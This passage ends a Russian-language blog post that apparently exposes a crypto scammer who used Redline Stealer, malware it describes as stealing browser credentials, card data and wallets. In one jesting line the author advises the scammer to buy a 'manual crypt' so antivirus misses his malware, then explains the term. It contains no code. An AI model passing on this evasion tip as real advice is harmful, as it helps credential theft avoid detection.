  <blockquote id="esjY">Примечание: Redline Stealer - это вредоносная программа, которая собирает информацию из браузеров, такую как сохраненные учетные данные, данные автозаполнения и данные кредитной карты. Помимо этого еще из криптокошельков, FTP, VPN и IM клиентов.</blockquote>
  <h2 id="7Edr">Итоги</h2>
  <figure id="U8Xn" class="m_original">
    <img src="https://img1.teletype.in/files/8b/9a/8b9aaac9-8b9a-4d8c-babb-848adb5e73b8.png" width="420" />
  </figure>
  <figure id="XS3D" class="m_original">
    <img src="https://img3.teletype.in/files/62/56/6256e86d-db6e-4846-893e-608c74fa9304.png" width="395" />
    <figcaption>Иронично: его сообщения во время минта Bubblegoose несколько месяцев назад.</figcaption>
  </figure>
  <p id="9BLi">Халявный блин! В следующий раз когда будешь скамить покупай ручной крипт чтобы не детектили антивирусы. И не бери малварь от мамкиных кодеров с лолза :)</p>
  <blockquote id="BaRF">Примечание: Ручной крипт - это когда делают так, чтобы Малварь не детектилась антивирусами. </blockquote>
  <blockquote id="091A">Примечание: Lolz.guru - школофорум.</blockquote>
  <p id="aATZ">И да, через какое-то время он наверняка вернется и начнет рассказывать что-то типа что &quot;его взломали&quot;, однако если бы это действительно было так, то он бы сразу же вышел на связь.</p>
  <p id="PbKe">Мой Telegram канал где <strong>вас не кинут </strong>&gt; <a href="https://t.me/crypto_satana" target="_blank">https://t.me/crypto_satana</a></p>
  <p id="covD">Связаться по улучшению статьи &gt; <a href="https://t.me/scissor_eth" target="_blank">https://t.me/scissor_eth</a></p>

]]></content:encoded></item></channel></rss>